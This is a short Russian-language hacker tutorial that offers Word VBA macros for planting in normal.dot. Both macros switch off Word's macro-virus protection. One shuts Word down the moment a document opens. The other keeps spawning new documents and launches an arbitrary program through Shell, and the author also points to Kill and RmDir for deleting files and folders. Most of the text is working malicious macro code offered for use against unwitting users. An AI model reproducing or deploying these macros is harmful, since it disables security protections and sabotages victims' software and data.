Нумбер раз.
(Желательно это написать в normal.dot)
Private Sub document_open() ' Как только откроется документ ...
Options.VirusProtection = False ' ... снимаем защиту от макро вирусов (на всякий случай ;) )
Application.Quit ' И сразу закрываем Word :)
End Sub
Т.е. как только ламух откроет свой любимый Ворд то он сразу захлопнется.

Нумбер два.
(И это желательно ... нет обязательно надо написать в normal.dot!)
Private Sub document_new() 'Срабатывает как только откроется новый документ
Options.VirusProtection = False ' Ну, а это ты знаешь
Application.Documents.Add ' Открываем новый документ
Selection.Text = "Пишешь что хочешь" ' Пишем в этом документе
Selection.Font.Size = 24 ' Можно поставить нужный размер ...
Selection.Font.Name = "Comic Sans MS" ' ... и шрифт
Shell ("Путь к файлу") ' Можно просто написать (Shell("explorer"))
End Sub
Как только открывается документ , открываем ещё , а потом ёще и ещё.
И так до тех пор пока мозги не свернутся.
А чтобы Ворду одному скучно не было запустим ему друга(или подружку) ;)

Ещё есть пара функций это kill("путь к файлу который будет удалён").
Единственное, при попытке удалить открытый или "только для чтения"
файл возникает ошибка. :(
И RmDir("путь") - удаляет каталог. Опять же при попытке удалить каталог,
который содержит файлы, возникает ошибка. :(
Я ещё не придумал, что можно сделать с ними.

Автор: YZer